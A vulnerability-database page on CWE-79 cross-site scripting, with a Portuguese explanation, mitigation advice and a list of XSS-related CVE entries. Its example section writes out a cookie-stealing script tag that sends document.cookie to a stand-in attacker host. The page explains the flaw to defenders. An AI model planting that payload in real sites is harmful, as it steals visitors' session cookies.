Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-13349MEDIUMSourceCodester Student Grades Management System Add New Grade grades.php cross site scriptingEPSS 0.3%CVE-2024-13262MEDIUMView Password - Moderately critical - Cross Site Scripting - SA-CONTRIB-2024-026EPSS 0.3%CVE-2025-54395MEDIUMNetwrix Directory Manager (formerly Imanami GroupID) 11.0.0.0 before 11.1.25162.02 allows XSS for authentication configuration data.EPSS 0.3%CVE-2021-47885MEDIUMPayment Terminal Multiple Versions Non-Persistent Cross-Site ScriptingEPSS 0.3%CVE-2026-24837HIGHDotNetNuke.Core Vulnerable to Stored XSS in Module Deletion Confirmation ModalEPSS 0.3%CVE-2026-120597MEDIUMWelcart e-Commerce Plugin paymentESCOTT.main.class.php error_page_message cross site scriptingEPSS 0.3%CVE-2025-13245MEDIUMcode-projects Student Information System editprofile.php cross site scriptingEPSS 0.3%CVE-2026-75962HIGHPost SMTP <= 4.0.1 - Unauthenticated Stored DOM-Based Cross-Site Scripting via 'user_email' Parameter (Multisite Registration → Failed Email Log)EPSS 0.3%CVE-2024-39241MEDIUMCross Site Scripting (XSS) vulnerability in skycaiji 2.8 allows attackers to run arbitrary code via /admin/tool/preview.EPSS 0.3%CVE-2025-12451MEDIUMEasy SVG Support <= 4.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2026-10173MEDIUMOrthanc Explorer 2 URL StudyList.vue cross site scriptingEPSS 0.3%CVE-2024-8473MEDIUMSQL injection vulnerability in Job PortalEPSS 0.3%CVE-2024-3827MEDIUMSpectra Pro <= 1.1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Block IDsEPSS 0.3%CVE-2025-29018MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability exists in the name parameter of pages_add_acc_type.php in Code Astro Internet Banking SystEPSS 0.3%CVE-2024-35759MEDIUMWordPress WP Job Portal plugin <= 2.1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2020-37233MEDIUMWordPress Plugin Buddypress 6.2.0 Persistent Cross-Site ScriptingEPSS 0.3%CVE-2024-9590MEDIUMCategory and Taxonomy Meta Fields <= 1.0.0 - Authenticated (Editor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-6218MEDIUMaandrew-me ytDownloader Error Details Panel createTextNode cross site scriptingEPSS 0.3%CVE-2026-104414HIGHGhost from 2.5.0 before 6.64.0 Stored XSS via oEmbed Photo ResponsesEPSS 0.3%CVE-2025-20273MEDIUMCisco Unified Intelligent Contact Management Enterprise Cross-Site Scripting vulnerabilityEPSS 0.3%